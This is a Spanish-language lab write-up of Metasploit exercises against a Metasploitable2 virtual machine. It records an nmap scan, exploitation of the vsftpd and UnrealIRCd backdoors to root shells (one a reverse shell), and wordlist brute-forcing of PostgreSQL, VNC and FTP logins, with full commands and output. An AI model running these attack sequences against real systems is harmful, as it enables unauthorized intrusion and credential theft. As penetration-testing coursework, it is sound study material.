



EJERCICIO METAESPLOIT II

EJERCICIO 1 - METASPLOIT

1.- Crear un *workspace* de trabajo llamado "*metasploitable2*" y cambia al *workspace* de trabajo recién creado.

```
msf6 > workspace -v

Workspaces
=====
+ Curso Certified Ethical... + Guia de seguimiento p... + c
current name      hosts services vulns creds loots notes
-----
default           3    15    0    0    0    20
obioba_reto_10    1    23    4    1    0    7
ej_2_meta2        1    9     2    1    0    3
ej_1_meta3        1    9     1    0    0    0
review            2    2     0    0    0    5
* metasploitable2 0    0     0    0    0    0
```

2.- Realizar las siguientes operaciones en el *workspace*, comprobando las entradas en la base de datos del *Workspace* (comandos *hosts*, *services*, *vulns*, *notes*, *creds*)

Se presenta un resumen de todo lo ejecutado (1-4) dentro del citado *workspace*:

```
msf6 > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
-----
10.0.2.6  Linux      server

msf6 > creds
Credentials
=====
host origin service public private realm private_type JtR Format cracked_password
-----
10.0.2.6 10.0.2.6 5432/tcp (postgres) postgres postgres template1 Password
10.0.2.6 10.0.2.6 5900/tcp (vnc) password Password
10.0.2.6 10.0.2.6 21/tcp (ftp) user user Password

msf6 > services
Services
=====
host port proto name state info
-----
10.0.2.6 21 tcp ftp open vsftpd 2.3.4
10.0.2.6 22 tcp ssh open OpenSSH 4.7p1 Debian 8ubuntu1 protocol 2.0
10.0.2.6 23 tcp telnet open Linux telnetd
10.0.2.6 25 tcp smtp open Postfix smtpd
10.0.2.6 53 tcp domain open ISC BIND 9.4.2
10.0.2.6 80 tcp http open Apache httpd 2.2.8 (Ubuntu) DAV/2
10.0.2.6 111 tcp rpcbind open 2 RPC #100000
10.0.2.6 139 tcp netbios-ssn open Samba smbd 3.X - 4.X workgroup: WORKGROUP
10.0.2.6 445 tcp netbios-ssn open Samba smbd 3.X - 4.X workgroup: WORKGROUP
10.0.2.6 512 tcp exec open netkit-rsh rexecd
10.0.2.6 513 tcp login open OpenBSD or Solaris rlogind
10.0.2.6 514 tcp tcpwrapped open
10.0.2.6 1099 tcp java-rmi open GNU Classpath grmiregistry
10.0.2.6 1524 tcp bindshell open Metasploitable root shell
10.0.2.6 2049 tcp nfs open 2-4 RPC #100003
10.0.2.6 2121 tcp ftp open ProFTPD 1.3.1
10.0.2.6 3306 tcp mysql open MySQL 5.0.51a-3ubuntu5
10.0.2.6 3632 tcp distccd open distccd v1 (GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4)
10.0.2.6 5432 tcp postgres open PostgreSQL DB 8.3.0 - 8.3.7
10.0.2.6 5900 tcp vnc open VNC protocol 3.3
10.0.2.6 6000 tcp x11 open access denied
10.0.2.6 6667 tcp irc open UnrealIRCd
10.0.2.6 6697 tcp irc open UnrealIRCd Admin email admin@Metasploitable.LAN
10.0.2.6 8009 tcp ajp13 open Apache Jserv Protocol v1.3
10.0.2.6 8180 tcp http open Apache Tomcat/Coyote JSP engine 1.1
10.0.2.6 8787 tcp drb open Ruby DRb RMI Ruby 1.8; path /usr/lib/ruby/1.8/dr
10.0.2.6 35219 tcp nlockmgr open 1-4 RPC #100021
10.0.2.6 49188 tcp status open 1 RPC #100024
10.0.2.6 50285 tcp mountd open 1-3 RPC #100005
10.0.2.6 52998 tcp java-rmi open GNU Classpath grmiregistry
```

```
msf6 > db_nmap -sV -p- 10.0.2.6
[*] Nmap: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-30 19:08 CEST
[*] Nmap: Nmap scan report for 10.0.2.6
[*] Nmap: Host is up (0.00012s latency).
[*] Nmap: Not shown: 65505 closed tcp ports (conn-refused)
[*] Nmap: PORT      STATE SERVICE      VERSION
[*] Nmap: 21/tcp    open  ftp          vsftpd 2.3.4
[*] Nmap: 22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
[*] Nmap: 23/tcp    open  telnet       Linux telnetd
[*] Nmap: 25/tcp    open  smtp         Postfix smtpd
[*] Nmap: 53/tcp    open  domain       ISC BIND 9.4.2
[*] Nmap: 80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
[*] Nmap: 111/tcp   open  rpcbind      2 (RPC #10000)
[*] Nmap: 139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
[*] Nmap: 445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
[*] Nmap: 512/tcp   open  exec         netkit-rsh rexecd
[*] Nmap: 513/tcp   open  login        OpenBSD or Solaris rlogind
[*] Nmap: 514/tcp   open  tcpwrapped
[*] Nmap: 1099/tcp  open  java-rmi     GNU Classpath grmiregistry
[*] Nmap: 1524/tcp  open  bindshell    Metasploitable root shell
[*] Nmap: 2049/tcp  open  nfs          2-4 (RPC #100003)
[*] Nmap: 2121/tcp  open  ftp          ProFTPD 1.3.1
[*] Nmap: 3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
[*] Nmap: 3632/tcp  open  distccd      distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
[*] Nmap: 5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
[*] Nmap: 5900/tcp  open  vnc          VNC (protocol 3.3)
[*] Nmap: 6000/tcp  open  X11          (access denied)
[*] Nmap: 6667/tcp  open  irc          UnrealIRCd
[*] Nmap: 6697/tcp  open  irc          UnrealIRCd (Admin email admin@Metasploitable.LAN)
[*] Nmap: 8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
[*] Nmap: 8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
[*] Nmap: 8787/tcp  open  drb          Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/dr
b)
[*] Nmap: 35219/tcp open  nlockmgr     1-4 (RPC #100021)
[*] Nmap: 49188/tcp open  status       1 (RPC #100024)
[*] Nmap: 50285/tcp open  mountd       1-3 (RPC #100005)
[*] Nmap: 52998/tcp open  java-rmi     GNU Classpath grmiregistry
[*] Nmap: Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs
: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 127.57 seconds
```


EJERCICIO 2 – METASPLOIT

1.- Explotar los *backdoors* de las versiones instaladas de *Vsftpd* y *UnrealIRCd*.

VsFTPd

```
msf6 > use l
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ----      -
  CHOST      no               The local client address
whoami
root
```

UnrealIRCd

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > run

[*] Started reverse TCP handler on 10.0.2.19:4444
[*] 10.0.2.6:6667 - Connected to 10.0.2.6:6667...
:irc.Metasplitable.LAN NOTICE AUTH :*** Looking up your hostname...
:irc.Metasplitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname;
using your IP address instead
[*] 10.0.2.6:6667 - Sending backdoor command...
[*] Command shell session 2 opened (10.0.2.19:4444 -> 10.0.2.6:53748) at 202
4-08-30 19:24:13 +0200

whoami
root
background|
```

Sesiones explotadas

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > sessions

Active sessions
=====

Id  Name  Type      Information Connection
--  ---  --
1   shell cmd/unix  10.0.2.19:40001 -> 10.0.2.6:6200
                        (10.0.2.6)
2   shell cmd/unix  10.0.2.19:4444 -> 10.0.2.6:53748
                        (10.0.2.6)
```

EJERCICIO 3 - METASPLOIT

1.- Realizar un ataque de fuerza bruta con los módulos auxiliares correspondientes para conseguir las credenciales de acceso de PostgreSQL y explotarlo para conseguir acceso a la máquina.

```
# Name Disclosure Date Rank Check Description
- - - - -
0 auxiliary/server/capture/postgres normal No Authentication Capture: PostgreSQL
1 post/linux/gather/enum_users_history normal No Linux Gather User History
2 exploit/multi/http/manage_engine_dc_pmp_sqli 2014-06-08 excellent Yes ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection
3 \ target: Automatic
4 \ target: Desktop Central v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows
5 \ target: Desktop Central MSP v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows
6 \ target: Desktop Central [MSP] v7 >= b70200 / v8 / v9 < b90039 (MySQL) on Windows
7 \ target: Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Windows
8 \ target: Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Windows
9 \ target: Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Linux
10 \ target: Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Linux
11 auxiliary/admin/http/manageengine_pmp_privsec 2014-11-08 normal Yes ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection
12 exploit/multi/postgres/postgres_copy_from_program_cmd_exec 2019-03-20 excellent Yes PostgreSQL COPY FROM PROGRAM Command Execution
13 \ target: Automatic
14 \ target: Unix/OSX/Linux
15 \ target: Windows - PowerShell (In-Memory)
16 \ target: Windows (CMD)
17 exploit/multi/postgres/postgres_createlang 2016-01-01 good Yes PostgreSQL CREATE LANGUAGE Execution
18 auxiliary/scanner/postgres/postgres_dbname_flag_injection normal No PostgreSQL Database Name Command Line Flag Injection
19 auxiliary/scanner/postgres/postgres_login normal No PostgreSQL Login Utility
20 auxiliary/admin/postgres/postgres_readfile normal No PostgreSQL Server Generic Query
21 auxiliary/admin/postgres/postgres_sqli normal No PostgreSQL Server Generic Query
22 auxiliary/scanner/postgres/postgres_version normal No PostgreSQL Version Probe
23 exploit/linux/postgres/postgres_payload 2007-06-05 excellent Yes PostgreSQL for Linux Payload Execution
24 \ target: Linux x86
25 \ target: Linux x86_64
26 exploit/windows/postgres/postgres_payload 2009-04-10 excellent Yes PostgreSQL for Microsoft Windows Payload Execution
27 \ target: Windows x86
28 \ target: Windows x64
29 auxiliary/admin/http/rails_devise_pass_reset 2013-01-28 normal No Ruby on Rails Devise Authentication Password Reset
30 exploit/multi/http/rudder_server_sqli_rce 2023-06-16 excellent Yes Rudder Server SQLI Remote Code Execution
31 post/linux/gather/vcenter_secrets_dump 2022-04-15 normal No VMware vCenter Secrets Dump

msf6 auxiliary(scanner/postgres/postgres_login) > set rhosts 10.0.2.6
rhosts => 10.0.2.6
msf6 auxiliary(scanner/postgres/postgres_login) > set user_file /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt
user_file => /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt
msf6 auxiliary(scanner/postgres/postgres_login) > set userpass_file /usr/share/metasploit-framework/data/wordlists/postgres_default_userpass.txt
[-] Unknown command: set. Did you mean help? Run the help command for more details.
msf6 auxiliary(scanner/postgres/postgres_login) > set userpass_file /usr/share/metasploit-framework/data/wordlists/postgres_default_userpass.txt
userpass_file => /usr/share/metasploit-framework/data/wordlists/postgres_default_userpass.txt
msf6 auxiliary(scanner/postgres/postgres_login) > set pass_file /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt
pass_file => /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt
msf6 auxiliary(scanner/postgres/postgres_login) > set createsession true
createsession => true
msf6 auxiliary(scanner/postgres/postgres_login) > set bruteforce_speed 3
bruteforce_speed => 3
msf6 auxiliary(scanner/postgres/postgres_login) > show missing
msf6 auxiliary(scanner/postgres/postgres_login) > run

[+] 10.0.2.6:5432 - Login Successful: postgres:postgres@template1
[*] PostgreSQL session 1 opened (10.0.2.19:36109 -> 10.0.2.6:5432) at 2024-08-31 19:10:09 +0200
[*] Scanned 1 of 1 hosts (100% complete)
[*] Bruteforce completed, 1 credential was successful.
[*] 1 Postgres session was opened successfully.
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/postgres/postgres_login) > sessions -l

Active sessions
=====
Id Name Type Information Connection
-- --
1 postgresqlx86/Linux PostgreSQL postgres @ 10.0.2.6:5432 10.0.2.19:36109 -> 10.0.2.6:5432 (10.0.2.6)

msf6 auxiliary(scanner/postgres/postgres_login) > session -i 1
[-] Unknown command: session. Did you mean sessions? Run the help command for more details.
msf6 auxiliary(scanner/postgres/postgres_login) > sessions -i 1
[*] Starting interaction with 1...
```

```

postgresql @ 10.0.2.6:5432 (template1) > query_interactive
[*] Starting interactive SQL shell for postgresql @ 10.0.2.6:5432 (template1)
[*] SQL commands ending with ; will be executed on the remote server. Use the exit command to exit.

Home

[*] Executing query: SELECT * FROM pg_database;
[*] SELECT

Response
=====

# datname  datdba  encoding  datistemplate  datallowconn  datconnlimit  datlastsysoid  datfrozensxid  dattablespace  datconfig  datacl
-----
0 template1 10      6      t      t      -1      11510      379      1663      {=c/postgres,postgres=CTc/postgres}
1 template0 10      6      t      f      -1      11510      379      1663      {=c/postgres,postgres=CTc/postgres}
2 postgres  10      6      f      t      -1      11510      379      1663

```

EJERCICIO 4 - METASPLOIT

1.- Realizar un ataque de fuerza bruta con los módulos auxiliares correspondientes para conseguir las credenciales de acceso de FTP y VNC Server.

VNC

```

msf6 auxiliary(scanner/vnc/vnc_login) > set user_file /media/sf_COMPARTIDA_VB_CIBERSEGURIDAD_KALI/SecLists/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt
user_file => /media/sf_COMPARTIDA_VB_CIBERSEGURIDAD_KALI/SecLists/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt
msf6 auxiliary(scanner/vnc/vnc_login) > set rhosts 10.0.2.6
rhosts => 10.0.2.6
msf6 auxiliary(scanner/vnc/vnc_login) > set pass_file usr/share/metasploit-framework/data/wordlists/vnc_passwords.txt
pass_file => usr/share/metasploit-framework/data/wordlists/vnc_passwords.txt
msf6 auxiliary(scanner/vnc/vnc_login) > set bruteforce_speed 3
[*] Unknown datastore option: bruteforce. Did you mean BRUTEFORCE_SPEED?
bruteforce => speed 3
msf6 auxiliary(scanner/vnc/vnc_login) > set bruteforce_speed 3
bruteforce_speed => 3

```

10.0.2.6	10.0.2.6	5900/tcp (vnc)	password	Password
10.0.2.6	10.0.2.6	5900/tcp (vnc)	password	Password

FTP

```

msf6 auxiliary(scanner/ftp/ftp_login) > set rhosts 10.0.2.6
rhosts => 10.0.2.6
msf6 auxiliary(scanner/ftp/ftp_login) > set bruteforce_speed 3
bruteforce_speed => 3
msf6 auxiliary(scanner/ftp/ftp_login) > show missing
msf6 auxiliary(scanner/ftp/ftp_login) > run

msf6 auxiliary(scanner/ftp/ftp_login) > set userpass_file /usr/share/wordlists/metasploit/default_userpass_for_services_unhash.txt
userpass_file => /usr/share/wordlists/metasploit/default_userpass_for_services_unhash.txt
msf6 auxiliary(scanner/ftp/ftp_login) > run

[*] 10.0.2.6:21 - 10.0.2.6:21 - Starting FTP login sweep
[-] 10.0.2.6:21 - 10.0.2.6:21 - LOGIN FAILED: operator:operator (Incorrect: )
[+] 10.0.2.6:21 - 10.0.2.6:21 - Login Successful: user:user
[-] 10.0.2.6:21 - 10.0.2.6:21 - LOGIN FAILED: Cisco:Cisco (Incorrect: )

```